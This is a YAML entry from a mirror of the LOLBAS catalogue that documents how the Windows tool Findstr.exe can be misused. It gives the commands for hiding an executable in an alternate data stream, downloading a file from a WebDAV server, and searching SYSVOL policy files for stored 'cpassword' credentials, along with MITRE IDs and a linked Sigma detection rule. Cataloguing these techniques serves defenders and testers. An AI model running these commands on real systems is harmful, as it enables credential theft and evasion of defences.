mirror of
https://github.com/LOLBAS-Project/LOLBAS
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48 lines
2.5 KiB
YAML
48 lines
2.5 KiB
YAML
---
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Name: Findstr.exe
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Description: Write to ADS, discover, or download files with Findstr.exe
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
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Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
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Usecase: Add a file to an alternate data stream to hide from defensive counter measures
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
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Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
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Usecase: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
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Category: ADS
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Privileges: User
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MitreID: T1564.004
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: findstr /S /I cpassword \\sysvol\policies\*.xml
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Description: Search for stored password in Group Policy files stored on SYSVOL.
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Usecase: Find credentials stored in cpassword attrbute
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Category: Credentials
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Privileges: User
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MitreID: T1552.001
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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- Command: findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
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Description: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
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Usecase: Download/Copy file from webdav server
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Category: Download
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Privileges: User
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MitreID: T1105
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
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Full_Path:
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- Path: C:\Windows\System32\findstr.exe
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- Path: C:\Windows\SysWOW64\findstr.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml
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Resources:
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- Link: https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
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- Link: https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
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Acknowledgement:
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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